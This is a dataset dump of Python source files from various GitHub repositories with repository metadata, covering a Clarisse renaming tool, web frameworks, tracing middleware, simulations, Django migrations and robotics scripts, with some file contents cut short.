1c20ff3cb392a9800396698b946399f073684fd3 | 6,732 | py | Python | RENAMER_beta_0.76_CH.py | AWACC2020/Rename-Tool-for-Isotropix-Clarisse-iFX | dcb1bed975c7902bfda8413b308de0cedd635766 | [
"MIT"
] | null | null | null | RENAMER_beta_0.76_CH.py | AWACC2020/Rename-Tool-for-Isotropix-Clarisse-iFX | dcb1bed975c7902bfda8413b308de0cedd635766 | [
"MIT"
] | null | null | null | RENAMER_beta_0.76_CH.py | AWACC2020/Rename-Tool-for-Isotropix-Clarisse-iFX | dcb1bed975c7902bfda8413b308de0cedd635766 | [
"MIT"
] | null | null | null | #-*- coding:utf-8 -*-
### Script By: AWACS
### Name: AWA RENAMER FOR ISOTROPIX CLARISSE IFX
### Version: beta v0.76
import ix
import os
def Hierarchy_lister( Current_Context , as_string , is_First_iter_level):
Hierarchy_list = []
for ii in range (Current_Context.get_object_count() + Current_Context.get_co... | 40.8 | 135 | 0.707813 |
+ Current_Context.get_context_count() ):
if Current_Context.get_item(ii).is_context() is not True:
if as_string:
Hierarchy_list.append( str(Current_Context.get_item (ii) ) )
else :
Hierarchy_list.append( Current_Context.get_item (ii) )
for ii in range(Current_Context.get_context_count() )... | true | true |
1c20ffb1dfb40877a5082e964bfd967f51831a13 | 4,975 | py | Python | restfuloauth2/database/model.py | marcbperez/flask-restfuloauth2 | 488036326099257517bc334f7c9056f0fffcef23 | [
"Apache-2.0"
] | 2 | 2017-04-27T09:20:56.000Z | 2018-05-29T08:26:20.000Z | restfuloauth2/database/model.py | marcbperez/flask-restfuloauth2 | 488036326099257517bc334f7c9056f0fffcef23 | [
"Apache-2.0"
] | null | null | null | restfuloauth2/database/model.py | marcbperez/flask-restfuloauth2 | 488036326099257517bc334f7c9056f0fffcef23 | [
"Apache-2.0"
] | 1 | 2017-07-06T19:45:47.000Z | 2017-07-06T19:45:47.000Z | from . import db
from .query import Query
from flask_restful import reqparse
from werkzeug.security import gen_salt
from datetime import datetime, time
from sqlalchemy import text
from sqlalchemy.ext.declarative import declared_attr
class Model(object):
"""Abstract implementation of the REST model."""
id = d... | 31.289308 | 77 | 0.615678 | from . import db
from .query import Query
from flask_restful import reqparse
from werkzeug.security import gen_salt
from datetime import datetime, time
from sqlalchemy import text
from sqlalchemy.ext.declarative import declared_attr
class Model(object):
id = db.Column(db.Integer, primary_key=True)
etag = db.... | true | true |
1c21006d8d0cf5ed2cbbdc4a87dac6d43c55519c | 208 | py | Python | shell.py | Omar-Torres11/Branch-PL | bde52dfef1940f8248df2c9ea31db6ad4bc17014 | [
"Unlicense"
] | null | null | null | shell.py | Omar-Torres11/Branch-PL | bde52dfef1940f8248df2c9ea31db6ad4bc17014 | [
"Unlicense"
] | null | null | null | shell.py | Omar-Torres11/Branch-PL | bde52dfef1940f8248df2c9ea31db6ad4bc17014 | [
"Unlicense"
] | 2 | 2021-02-26T23:01:48.000Z | 2021-02-26T23:29:33.000Z | #from _typeshed import SupportsReadline
import Branch
while True:
text = input('Branch > ')
result, error = Branch.run('<stdin>',text)
if error: print (error.as_string())
else: print(result) | 23.111111 | 46 | 0.677885 |
import Branch
while True:
text = input('Branch > ')
result, error = Branch.run('<stdin>',text)
if error: print (error.as_string())
else: print(result) | true | true |
1c2100ca523624d622983e3ae02ef25903be1c87 | 1,144 | py | Python | analysis/mixed/plot_geo_dangle.py | coryschwartz/nebula-crawler | 34ebe1109a5117949b4f285891a065adcc0bae08 | [
"Apache-2.0"
] | 66 | 2021-07-05T21:55:27.000Z | 2022-03-20T20:44:38.000Z | analysis/mixed/plot_geo_dangle.py | coryschwartz/nebula-crawler | 34ebe1109a5117949b4f285891a065adcc0bae08 | [
"Apache-2.0"
] | 8 | 2021-07-18T09:00:12.000Z | 2022-03-15T17:44:11.000Z | analysis/mixed/plot_geo_dangle.py | coryschwartz/nebula-crawler | 34ebe1109a5117949b4f285891a065adcc0bae08 | [
"Apache-2.0"
] | 6 | 2021-07-11T12:25:05.000Z | 2022-01-04T21:14:50.000Z | import psycopg2
import toml
import matplotlib.pyplot as plt
from lib import node_time, node_classification, node_geolocation
config = toml.load("./db.toml")['psql']
conn = psycopg2.connect(
host=config['host'],
port=config['port'],
database=config['database'],
user=config['user'],
password=config[... | 27.902439 | 119 | 0.68007 | import psycopg2
import toml
import matplotlib.pyplot as plt
from lib import node_time, node_classification, node_geolocation
config = toml.load("./db.toml")['psql']
conn = psycopg2.connect(
host=config['host'],
port=config['port'],
database=config['database'],
user=config['user'],
password=config[... | true | true |
1c210183ac4cac8d280964d2433043282172de73 | 4,923 | py | Python | ddtrace/contrib/asgi/middleware.py | someboredkiddo/dd-trace-py | 2e1b1b43ffb60f3f26981eb6d9cfe7f26b9285cb | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | ddtrace/contrib/asgi/middleware.py | someboredkiddo/dd-trace-py | 2e1b1b43ffb60f3f26981eb6d9cfe7f26b9285cb | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | ddtrace/contrib/asgi/middleware.py | someboredkiddo/dd-trace-py | 2e1b1b43ffb60f3f26981eb6d9cfe7f26b9285cb | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | import sys
import ddtrace
from ddtrace.constants import ANALYTICS_SAMPLE_RATE_KEY
from ddtrace.ext import SpanTypes, http
from ddtrace.http import store_request_headers, store_response_headers
from ddtrace.propagation.http import HTTPPropagator
from ddtrace.settings import config
from ...compat import reraise
from ..... | 33.263514 | 119 | 0.661182 | import sys
import ddtrace
from ddtrace.constants import ANALYTICS_SAMPLE_RATE_KEY
from ddtrace.ext import SpanTypes, http
from ddtrace.http import store_request_headers, store_response_headers
from ddtrace.propagation.http import HTTPPropagator
from ddtrace.settings import config
from ...compat import reraise
from ..... | true | true |
1c21024aef01dff058b6bb05d76e2cb126f2dfd0 | 334 | py | Python | dm_gym/rewards/__init__.py | ashwin-M-D/DM-Gym | f468c175d16b09d88edc21d77b6755ca2d35fc13 | [
"BSD-3-Clause"
] | null | null | null | dm_gym/rewards/__init__.py | ashwin-M-D/DM-Gym | f468c175d16b09d88edc21d77b6755ca2d35fc13 | [
"BSD-3-Clause"
] | null | null | null | dm_gym/rewards/__init__.py | ashwin-M-D/DM-Gym | f468c175d16b09d88edc21d77b6755ca2d35fc13 | [
"BSD-3-Clause"
] | null | null | null | from dm_gym.rewards.ClusteringEnv_0_reward import Reward_Function
from dm_gym.rewards.ClusteringEnv_1_reward import Reward_Function
from dm_gym.rewards.ClusteringEnv_2_reward import Reward_Function
from dm_gym.rewards.ClusteringEnv_3_reward import Reward_Function
from dm_gym.rewards.ClassificationEnv_0_reward import Re... | 55.666667 | 69 | 0.91018 | from dm_gym.rewards.ClusteringEnv_0_reward import Reward_Function
from dm_gym.rewards.ClusteringEnv_1_reward import Reward_Function
from dm_gym.rewards.ClusteringEnv_2_reward import Reward_Function
from dm_gym.rewards.ClusteringEnv_3_reward import Reward_Function
from dm_gym.rewards.ClassificationEnv_0_reward import Re... | true | true |
1c21048daf838a9d405b663895412296bdcc3fbc | 299 | py | Python | kbuild/__init__.py | kibergus/kbuild | dc602e403827bb636995599c46493d6fd861f739 | [
"WTFPL"
] | null | null | null | kbuild/__init__.py | kibergus/kbuild | dc602e403827bb636995599c46493d6fd861f739 | [
"WTFPL"
] | null | null | null | kbuild/__init__.py | kibergus/kbuild | dc602e403827bb636995599c46493d6fd861f739 | [
"WTFPL"
] | null | null | null | import sys
from core import Task, Builder
from android import android
def kbuild_main(builder):
if len(sys.argv) < 2:
print "Usage: {0} <task_name>".format(sys.argv[0])
print "Known tasks: " + ", ".join(builder.task_names())
sys.exit(0)
builder.build(sys.argv[1])
| 23 | 63 | 0.635452 | import sys
from core import Task, Builder
from android import android
def kbuild_main(builder):
if len(sys.argv) < 2:
print "Usage: {0} <task_name>".format(sys.argv[0])
print "Known tasks: " + ", ".join(builder.task_names())
sys.exit(0)
builder.build(sys.argv[1])
| false | true |
1c210683326fdf691bd346873c2877addf676c93 | 1,020 | py | Python | src/profiles/migrations/0012_auto_20191001_2348.py | ADITYA727/Django_Naukari | 9aa0858c74c75deabddc1c5359c29ca3e548394b | [
"MIT"
] | 2 | 2019-11-18T09:20:27.000Z | 2019-12-09T05:46:15.000Z | src/profiles/migrations/0012_auto_20191001_2348.py | ADITYA727/Django_Naukari | 9aa0858c74c75deabddc1c5359c29ca3e548394b | [
"MIT"
] | null | null | null | src/profiles/migrations/0012_auto_20191001_2348.py | ADITYA727/Django_Naukari | 9aa0858c74c75deabddc1c5359c29ca3e548394b | [
"MIT"
] | null | null | null | # Generated by Django 2.2.5 on 2019-10-01 18:18
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('profiles', '0011_auto_20191001_2339'),
]
operations = [
migrations.AddField(
model_name='profile',
name='profession'... | 42.5 | 466 | 0.617647 |
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('profiles', '0011_auto_20191001_2339'),
]
operations = [
migrations.AddField(
model_name='profile',
name='profession',
field=models.CharField(choices=[(... | true | true |
1c2107c321115c6695466e8a43f46a2bff8fc696 | 2,380 | py | Python | vendor-local/lib/python/djcelery/tests/req.py | Mozilla-GitHub-Standards/54c69db06ef83bda60e995a6c34ecfd168ca028994e40ce817295415bb409f0c | f80e7c0cff97a1e9b301aa04015db983c7645778 | [
"BSD-3-Clause"
] | 41 | 2015-02-28T15:34:24.000Z | 2022-03-22T18:29:14.000Z | vendor-local/lib/python/djcelery/tests/req.py | Mozilla-GitHub-Standards/54c69db06ef83bda60e995a6c34ecfd168ca028994e40ce817295415bb409f0c | f80e7c0cff97a1e9b301aa04015db983c7645778 | [
"BSD-3-Clause"
] | 2 | 2019-02-17T17:44:53.000Z | 2019-03-28T03:54:39.000Z | vendor-local/lib/python/djcelery/tests/req.py | Mozilla-GitHub-Standards/54c69db06ef83bda60e995a6c34ecfd168ca028994e40ce817295415bb409f0c | f80e7c0cff97a1e9b301aa04015db983c7645778 | [
"BSD-3-Clause"
] | 14 | 2015-02-27T02:57:37.000Z | 2021-02-08T05:59:59.000Z | from __future__ import absolute_import
from django.test import Client
from django.core.handlers.wsgi import WSGIRequest
from django.core.handlers.base import BaseHandler
from celery.utils.compat import WhateverIO
class RequestFactory(Client):
"""Class that lets you create mock Request objects for use in testing... | 31.733333 | 78 | 0.637395 | from __future__ import absolute_import
from django.test import Client
from django.core.handlers.wsgi import WSGIRequest
from django.core.handlers.base import BaseHandler
from celery.utils.compat import WhateverIO
class RequestFactory(Client):
def request(self, **request):
environ = {
'HTTP_... | true | true |
1c2109ce3f9c1787059371e7dd5e35d0307e6424 | 9,337 | py | Python | example_multirotor/drone_mdl_static.py | nasa/fmdtools | 7415068776998ff05eb199c78531ee7f9c2422e7 | [
"MIT"
] | 3 | 2022-03-17T22:10:59.000Z | 2022-03-24T03:11:21.000Z | example_multirotor/drone_mdl_static.py | nasa/fmdtools | 7415068776998ff05eb199c78531ee7f9c2422e7 | [
"MIT"
] | null | null | null | example_multirotor/drone_mdl_static.py | nasa/fmdtools | 7415068776998ff05eb199c78531ee7f9c2422e7 | [
"MIT"
] | null | null | null | import sys, os
sys.path.insert(1,os.path.join(".."))
from fmdtools.modeldef import FxnBlock
from fmdtools.modeldef import Flow
from fmdtools.modeldef import Model
from fmdtools.modeldef import m2to1
class StoreEE(FxnBlock):
def __init__(self, name, flows):
super().__init__(name, flows, ['EEout', 'FS'], {'... | 44.461905 | 124 | 0.583271 | import sys, os
sys.path.insert(1,os.path.join(".."))
from fmdtools.modeldef import FxnBlock
from fmdtools.modeldef import Flow
from fmdtools.modeldef import Model
from fmdtools.modeldef import m2to1
class StoreEE(FxnBlock):
def __init__(self, name, flows):
super().__init__(name, flows, ['EEout', 'FS'], {'... | true | true |
1c210d28298e0c37059e468a665481f8f40f4c28 | 121 | py | Python | referit3d/data_generation/nr3d/__init__.py | ishitamed19/referit3d | 715b6932d0722edaf75d565b2a08881161645788 | [
"MIT"
] | 54 | 2020-08-25T10:04:13.000Z | 2022-03-28T06:46:45.000Z | referit3d/data_generation/nr3d/__init__.py | zhe-wang0018/referit3d | 725a5d31b8ff3647b6fb5342304093e9568d1341 | [
"MIT"
] | 4 | 2020-11-10T16:17:30.000Z | 2021-08-17T01:37:38.000Z | referit3d/data_generation/nr3d/__init__.py | zhe-wang0018/referit3d | 725a5d31b8ff3647b6fb5342304093e9568d1341 | [
"MIT"
] | 10 | 2020-08-25T13:27:19.000Z | 2022-03-27T07:52:11.000Z | from .stimuli_generation import SameInstanceStimulus
decode_stimulus_string = SameInstanceStimulus.decode_stimulus_string | 60.5 | 68 | 0.92562 | from .stimuli_generation import SameInstanceStimulus
decode_stimulus_string = SameInstanceStimulus.decode_stimulus_string | true | true |
1c210db5426960a9bc65e6a7e5d9adeb1a280950 | 2,723 | py | Python | Supermicro/benchmarks/maskrcnn/implementations/pytorch_SYS-420GP-TNAR/maskrcnn_benchmark/layers/roi_align.py | gglin001/training_results_v1.1 | 58fd4103f0f465bda6eb56a06a74b7bbccbbcf24 | [
"Apache-2.0"
] | 48 | 2020-07-29T18:09:23.000Z | 2021-10-09T01:53:33.000Z | Supermicro/benchmarks/maskrcnn/implementations/pytorch_SYS-420GP-TNAR/maskrcnn_benchmark/layers/roi_align.py | gglin001/training_results_v1.1 | 58fd4103f0f465bda6eb56a06a74b7bbccbbcf24 | [
"Apache-2.0"
] | 21 | 2021-08-31T08:34:50.000Z | 2022-03-17T11:42:10.000Z | NVIDIA/benchmarks/maskrcnn/implementations/pytorch/maskrcnn_benchmark/layers/roi_align.py | lablup/training_results_v0.7 | f5bb59aa0f8b18b602763abe47d1d24d0d54b197 | [
"Apache-2.0"
] | 42 | 2020-08-01T06:41:24.000Z | 2022-01-20T10:33:08.000Z | # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
# Copyright (c) 2018-2019 NVIDIA CORPORATION. All rights reserved.
import torch
from torch import nn
from torch.autograd import Function
from torch.autograd.function import once_differentiable
from torch.nn.modules.utils import _pair
from maskrcnn... | 34.0375 | 101 | 0.643775 |
import torch
from torch import nn
from torch.autograd import Function
from torch.autograd.function import once_differentiable
from torch.nn.modules.utils import _pair
from maskrcnn_benchmark import _C
from maskrcnn_benchmark import NHWC
from apex import amp
class _ROIAlign(Function):
@staticmethod
def forw... | true | true |
1c210e45ce3041761b35a9060953178d781ee878 | 26,352 | py | Python | splitgraph/engine/__init__.py | Trase/splitgraph | ef8332b29640230f4eebcbb350a37c67285064b1 | [
"Apache-2.0"
] | null | null | null | splitgraph/engine/__init__.py | Trase/splitgraph | ef8332b29640230f4eebcbb350a37c67285064b1 | [
"Apache-2.0"
] | null | null | null | splitgraph/engine/__init__.py | Trase/splitgraph | ef8332b29640230f4eebcbb350a37c67285064b1 | [
"Apache-2.0"
] | null | null | null | """
Defines the interface for a Splitgraph engine (a backing database), including running basic SQL commands,
tracking tables for changes and uploading/downloading tables to other remote engines.
By default, Splitgraph is backed by Postgres: see :mod:`splitgraph.engine.postgres` for an example of how to
implement a di... | 36.650904 | 115 | 0.619232 | import re
import threading
from abc import ABC
from contextlib import contextmanager
from enum import Enum
from typing import Any, Dict, Iterator, List, Optional, Tuple, Union, TYPE_CHECKING, cast, Sequence
from psycopg2.sql import Composed
from psycopg2.sql import SQL, Identifier
from splitgraph.config import CONFIG... | true | true |
1c210f910c33559272ebf90990989bf0c663ed33 | 7,256 | py | Python | src/main/admin/db_util.py | bd2019us/uima-ducc | ffb4870d9db87b1580bd6053fc9eed622e4c8e9e | [
"Apache-2.0"
] | 1 | 2019-03-17T04:23:54.000Z | 2019-03-17T04:23:54.000Z | src/main/admin/db_util.py | bd2019us/uima-ducc | ffb4870d9db87b1580bd6053fc9eed622e4c8e9e | [
"Apache-2.0"
] | null | null | null | src/main/admin/db_util.py | bd2019us/uima-ducc | ffb4870d9db87b1580bd6053fc9eed622e4c8e9e | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
# -----------------------------------------------------------------------
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licen... | 34.884615 | 131 | 0.599779 |
import os
def addToCp(cp, lib):
return cp + ':' + lib
def execute(CMD):
print CMD
return os.system(CMD)
def parse_header(header):
ret = []
parts = header.split('|')
for p in parts:
ret.append(p.strip())
return ret
def parse_line(header, line):
... | false | true |
1c210fdf701c79b01fee25b9b37fd0a909865055 | 587 | py | Python | tests/test_rt06_2.py | astrojhgu/rt1d | cb49510ae9850d1491dcf9336e3994fb1b153438 | [
"MIT"
] | null | null | null | tests/test_rt06_2.py | astrojhgu/rt1d | cb49510ae9850d1491dcf9336e3994fb1b153438 | [
"MIT"
] | null | null | null | tests/test_rt06_2.py | astrojhgu/rt1d | cb49510ae9850d1491dcf9336e3994fb1b153438 | [
"MIT"
] | null | null | null | """
test_rt06_2.py
Author: Jordan Mirocha
Affiliation: University of Colorado at Boulder
Created on: Wed Dec 26 18:37:48 2012
Description: This is Test problem #2 from the Radiative Transfer
Comparison Project (Iliev et al. 2006; RT06).
"""
import rt1d
import matplotlib.pyplot as pl
sim = rt1d.run.Simulation(prob... | 20.241379 | 64 | 0.739353 |
import rt1d
import matplotlib.pyplot as pl
sim = rt1d.run.Simulation(problem_type=2)
sim.run()
anl = rt1d.analyze.Simulation(sim.checkpoints)
fig1 = pl.figure(1); ax1 = fig1.add_subplot(111)
fig2 = pl.figure(2); ax2 = fig2.add_subplot(111)
anl.TemperatureProfile(t=[10, 30, 100], ax=ax1)
anl.IonizationProfile(t=[10... | true | true |
1c21105e1eea101329a024117827125cda53e592 | 4,638 | py | Python | python/Lib/test/test_dictcomps.py | jasam/ciclo_vida_datos_scraping | 3f7cffc944a0a0752a502dc7868cf43c4144f16c | [
"MIT"
] | null | null | null | python/Lib/test/test_dictcomps.py | jasam/ciclo_vida_datos_scraping | 3f7cffc944a0a0752a502dc7868cf43c4144f16c | [
"MIT"
] | null | null | null | python/Lib/test/test_dictcomps.py | jasam/ciclo_vida_datos_scraping | 3f7cffc944a0a0752a502dc7868cf43c4144f16c | [
"MIT"
] | null | null | null | import unittest
# For scope testing.
g = "Global variable"
class DictComprehensionTest(unittest.TestCase):
def test_basics(self):
expected = {0: 10, 1: 11, 2: 12, 3: 13, 4: 14, 5: 15, 6: 16, 7: 17,
8: 18, 9: 19}
actual = {k: k + 10 for k in range(10)}
self... | 39.982759 | 80 | 0.462053 | import unittest
g = "Global variable"
class DictComprehensionTest(unittest.TestCase):
def test_basics(self):
expected = {0: 10, 1: 11, 2: 12, 3: 13, 4: 14, 5: 15, 6: 16, 7: 17,
8: 18, 9: 19}
actual = {k: k + 10 for k in range(10)}
self.assertEqual(actual, ... | true | true |
1c21108df9b01c6b52bf69a919ed352a2dbd9b96 | 288 | py | Python | .history/ClassFiles/OOP/Polymorphism_20210105120539.py | minefarmer/Comprehensive-Python | f97b9b83ec328fc4e4815607e6a65de90bb8de66 | [
"Unlicense"
] | null | null | null | .history/ClassFiles/OOP/Polymorphism_20210105120539.py | minefarmer/Comprehensive-Python | f97b9b83ec328fc4e4815607e6a65de90bb8de66 | [
"Unlicense"
] | null | null | null | .history/ClassFiles/OOP/Polymorphism_20210105120539.py | minefarmer/Comprehensive-Python | f97b9b83ec328fc4e4815607e6a65de90bb8de66 | [
"Unlicense"
] | null | null | null | ''' Polymorphism : Part 1
Polymorphism basically means the ability to take or have multiple or various forms.
Polymorphim means the ability to take or have various forms.
Polymorphism : Part 1
'''
print(len("Hello World!"))
print(len([20,40,80]))
| 22.153846 | 83 | 0.645833 | print(len("Hello World!"))
print(len([20,40,80]))
| true | true |
1c2110d001dc74d5dffe200efdf36bd165668169 | 4,245 | py | Python | fict_master_data.py | nagasudhirpulla/wrldc_metering_warehouse | d56568783fb282c72977d537e51ed66f64dedf62 | [
"MIT"
] | null | null | null | fict_master_data.py | nagasudhirpulla/wrldc_metering_warehouse | d56568783fb282c72977d537e51ed66f64dedf62 | [
"MIT"
] | 2 | 2019-09-13T08:48:37.000Z | 2019-09-13T08:49:47.000Z | fict_master_data.py | nagasudhirpulla/wrldc_metering_warehouse | d56568783fb282c72977d537e51ed66f64dedf62 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Wed Sep 12 16:41:28 2019
@author: Nagasudhir
"""
import pandas as pd
import pandas.io.sql as sqlio
import psycopg2
from warehouse_db_config import getWarehouseDbConfigDict
class FictMasterData:
'''
returns meter master data dataframe with columns
'from_date', 'locat... | 40.817308 | 163 | 0.608716 |
import pandas as pd
import pandas.io.sql as sqlio
import psycopg2
from warehouse_db_config import getWarehouseDbConfigDict
class FictMasterData:
masterDataDf = None
def PushExcelToDb(self, filename = 'secret/fict_meter_master.xlsx', sheetName=0):
self.parse(filename, sheetName)
self.push... | true | true |
1c2110de5f81951154ac7cb300f86511bfb27be8 | 2,985 | py | Python | sitepipes/datasets/abstract.py | fossabot/sitepipes | e705e93eae776eb3a6d2e3fbea498fa4ab2e5129 | [
"Apache-2.0"
] | null | null | null | sitepipes/datasets/abstract.py | fossabot/sitepipes | e705e93eae776eb3a6d2e3fbea498fa4ab2e5129 | [
"Apache-2.0"
] | null | null | null | sitepipes/datasets/abstract.py | fossabot/sitepipes | e705e93eae776eb3a6d2e3fbea498fa4ab2e5129 | [
"Apache-2.0"
] | null | null | null | from sitepipes import config
from sitepipes.datasets.meta import MetaDataset
from abc import abstractmethod
import logging
import os
class Dataset(metaclass=MetaDataset):
""" A parent class for all data that flows between components """
name = None
_schema = []
_df_history = []
def __init__(s... | 31.755319 | 116 | 0.618425 | from sitepipes import config
from sitepipes.datasets.meta import MetaDataset
from abc import abstractmethod
import logging
import os
class Dataset(metaclass=MetaDataset):
name = None
_schema = []
_df_history = []
def __init__(self):
pass
def __eq__(self, other):
if type(self)... | true | true |
1c2112395affb6c83430e35855e048259de2a02d | 6,929 | py | Python | source/garra.py | UnbDroid/14-TRUFES | ee74213ed438752b6c570b7fb2fb9c25228ba973 | [
"CECILL-B"
] | 1 | 2020-05-28T16:24:27.000Z | 2020-05-28T16:24:27.000Z | source/garra.py | UnbDroid/14-TRUFES | ee74213ed438752b6c570b7fb2fb9c25228ba973 | [
"CECILL-B"
] | null | null | null | source/garra.py | UnbDroid/14-TRUFES | ee74213ed438752b6c570b7fb2fb9c25228ba973 | [
"CECILL-B"
] | null | null | null | from ev3dev2.motor import *
from ev3dev2.sensor import *
from ev3dev2.sensor.lego import *
from time import sleep
#Definindo o nome das cores da matriz de cores
Preto = 0
Branco = 1
#Cores do sensor
COLOR_BLACK = 1
COLOR_WHITE = 6
#Disponibilidade
Livre = 1
Ocupada = 0
N = 780
def verificaBloco(lateral, coresLavan... | 32.530516 | 143 | 0.711935 | from ev3dev2.motor import *
from ev3dev2.sensor import *
from ev3dev2.sensor.lego import *
from time import sleep
Preto = 0
Branco = 1
COLOR_BLACK = 1
COLOR_WHITE = 6
Livre = 1
Ocupada = 0
N = 780
def verificaBloco(lateral, coresLavanderias, lavanderias, sensorFrontal):
cont = 0
corBloco = 0
Atualiza = Fal... | true | true |
1c211242e8eb9a96f7b4f1cec837e8851d9a44db | 1,380 | py | Python | corehq/ex-submodules/auditcare/utils/resolver.py | dimagilg/commcare-hq | ea1786238eae556bb7f1cbd8d2460171af1b619c | [
"BSD-3-Clause"
] | 471 | 2015-01-10T02:55:01.000Z | 2022-03-29T18:07:18.000Z | corehq/ex-submodules/auditcare/utils/resolver.py | dimagilg/commcare-hq | ea1786238eae556bb7f1cbd8d2460171af1b619c | [
"BSD-3-Clause"
] | 14,354 | 2015-01-01T07:38:23.000Z | 2022-03-31T20:55:14.000Z | corehq/ex-submodules/auditcare/utils/resolver.py | dimagilg/commcare-hq | ea1786238eae556bb7f1cbd8d2460171af1b619c | [
"BSD-3-Clause"
] | 175 | 2015-01-06T07:16:47.000Z | 2022-03-29T13:27:01.000Z | #Source: http://djangosnippets.org/snippets/1378/ which yielded: http://pastebin.com/raw.php?i=7KfALc0j
from django.urls import RegexURLPattern, Resolver404, get_resolver
__all__ = ('resolve_to_name',)
def _pattern_resolve_to_name(self, path):
match = self.regex.search(path)
if match:
name = ""
... | 32.093023 | 103 | 0.610145 |
from django.urls import RegexURLPattern, Resolver404, get_resolver
__all__ = ('resolve_to_name',)
def _pattern_resolve_to_name(self, path):
match = self.regex.search(path)
if match:
name = ""
if self.name:
name = self.name
elif hasattr(self, '_callback_str'):
... | true | true |
1c21128c343d6a5238276612bcc4aa98e0baf61f | 1,213 | py | Python | hrsalespipes/contacts/migrations/0049_auto_20200710_0556.py | hanztura/hrsalespipes | 77accf3132726ced05d84fa2a41891b841f310b8 | [
"Apache-2.0"
] | 3 | 2020-03-26T12:43:43.000Z | 2021-05-10T14:35:51.000Z | hrsalespipes/contacts/migrations/0049_auto_20200710_0556.py | hanztura/hrsalespipes | 77accf3132726ced05d84fa2a41891b841f310b8 | [
"Apache-2.0"
] | 5 | 2021-04-08T21:15:15.000Z | 2022-02-10T11:03:12.000Z | hrsalespipes/contacts/migrations/0049_auto_20200710_0556.py | hanztura/hrsalespipes | 77accf3132726ced05d84fa2a41891b841f310b8 | [
"Apache-2.0"
] | 1 | 2022-01-30T19:24:48.000Z | 2022-01-30T19:24:48.000Z | # Generated by Django 2.2.10 on 2020-07-10 05:56
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('contacts', '0048_auto_20200709_1019'),
]
operations = [
migrations.AddField(
model_name='candidate',
name='other_on... | 27.568182 | 48 | 0.563067 |
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('contacts', '0048_auto_20200709_1019'),
]
operations = [
migrations.AddField(
model_name='candidate',
name='other_online_ids',
field=models.TextField(bl... | true | true |
1c2113bc34d16127d77b002325e268116d419c7d | 14,138 | py | Python | zerver/lib/queue.py | alexandraciobica/zulip | f3753504469070bfccc73f22f933c87bee7d1852 | [
"Apache-2.0"
] | 1 | 2019-10-01T14:04:07.000Z | 2019-10-01T14:04:07.000Z | zerver/lib/queue.py | alexandraciobica/zulip | f3753504469070bfccc73f22f933c87bee7d1852 | [
"Apache-2.0"
] | 3 | 2020-06-05T22:30:24.000Z | 2022-02-10T19:04:47.000Z | zerver/lib/queue.py | alexandraciobica/zulip | f3753504469070bfccc73f22f933c87bee7d1852 | [
"Apache-2.0"
] | 1 | 2020-01-06T15:12:36.000Z | 2020-01-06T15:12:36.000Z | from collections import defaultdict
import logging
import random
import threading
import time
from typing import Any, Callable, Dict, List, Mapping, Optional, Set, Union
from django.conf import settings
import pika
import pika.adapters.tornado_connection
from pika.adapters.blocking_connection import BlockingChannel
fr... | 42.842424 | 109 | 0.635875 | from collections import defaultdict
import logging
import random
import threading
import time
from typing import Any, Callable, Dict, List, Mapping, Optional, Set, Union
from django.conf import settings
import pika
import pika.adapters.tornado_connection
from pika.adapters.blocking_connection import BlockingChannel
fr... | true | true |
1c2114523d63c839b20d5b797ab6c859faa1322c | 943 | py | Python | Configuration/EcalTB/python/reco_application_2006rawdata_localreco_cfg.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 852 | 2015-01-11T21:03:51.000Z | 2022-03-25T21:14:00.000Z | Configuration/EcalTB/python/reco_application_2006rawdata_localreco_cfg.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 30,371 | 2015-01-02T00:14:40.000Z | 2022-03-31T23:26:05.000Z | Configuration/EcalTB/python/reco_application_2006rawdata_localreco_cfg.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 3,240 | 2015-01-02T05:53:18.000Z | 2022-03-31T17:24:21.000Z | import FWCore.ParameterSet.Config as cms
process = cms.Process("uncalibRecHitsProd")
process.load("FWCore.MessageLogger.MessageLogger_cfi")
process.load("EventFilter.EcalTBRawToDigi.ecalTBunpack_cfi")
process.load("Configuration.EcalTB.readConfiguration2006_v1_fromFrontier_cff")
process.load("Configuration.EcalTB.l... | 31.433333 | 113 | 0.783669 | import FWCore.ParameterSet.Config as cms
process = cms.Process("uncalibRecHitsProd")
process.load("FWCore.MessageLogger.MessageLogger_cfi")
process.load("EventFilter.EcalTBRawToDigi.ecalTBunpack_cfi")
process.load("Configuration.EcalTB.readConfiguration2006_v1_fromFrontier_cff")
process.load("Configuration.EcalTB.l... | true | true |
1c211463ef4d325e606fc1fbc3a43a6ba25e8ddd | 2,495 | py | Python | i3pystatus/core/io.py | MaicoTimmerman/i3pystatus | dbfc94575b287420159434df2bb00fedeebeb2ed | [
"MIT"
] | null | null | null | i3pystatus/core/io.py | MaicoTimmerman/i3pystatus | dbfc94575b287420159434df2bb00fedeebeb2ed | [
"MIT"
] | null | null | null | i3pystatus/core/io.py | MaicoTimmerman/i3pystatus | dbfc94575b287420159434df2bb00fedeebeb2ed | [
"MIT"
] | 1 | 2019-08-15T10:35:54.000Z | 2019-08-15T10:35:54.000Z | import time
import json
import sys
from contextlib import contextmanager
class IOHandler:
def __init__(self, inp=sys.stdin, out=sys.stdout):
self.inp = inp
self.out = out
def write_line(self, message):
"""Unbuffered printing to stdout."""
self.out.write(message + "\n")
... | 23.990385 | 78 | 0.555912 | import time
import json
import sys
from contextlib import contextmanager
class IOHandler:
def __init__(self, inp=sys.stdin, out=sys.stdout):
self.inp = inp
self.out = out
def write_line(self, message):
self.out.write(message + "\n")
self.out.flush()
def read(self):
... | true | true |
1c2117fc4d8b8343473125e397726adbbf6600f4 | 4,872 | py | Python | tests/model_test_data.py | pythonpanama/python-panama-backend | 201a7d70c05c74a0a4127c8180240f8af303eb7d | [
"MIT"
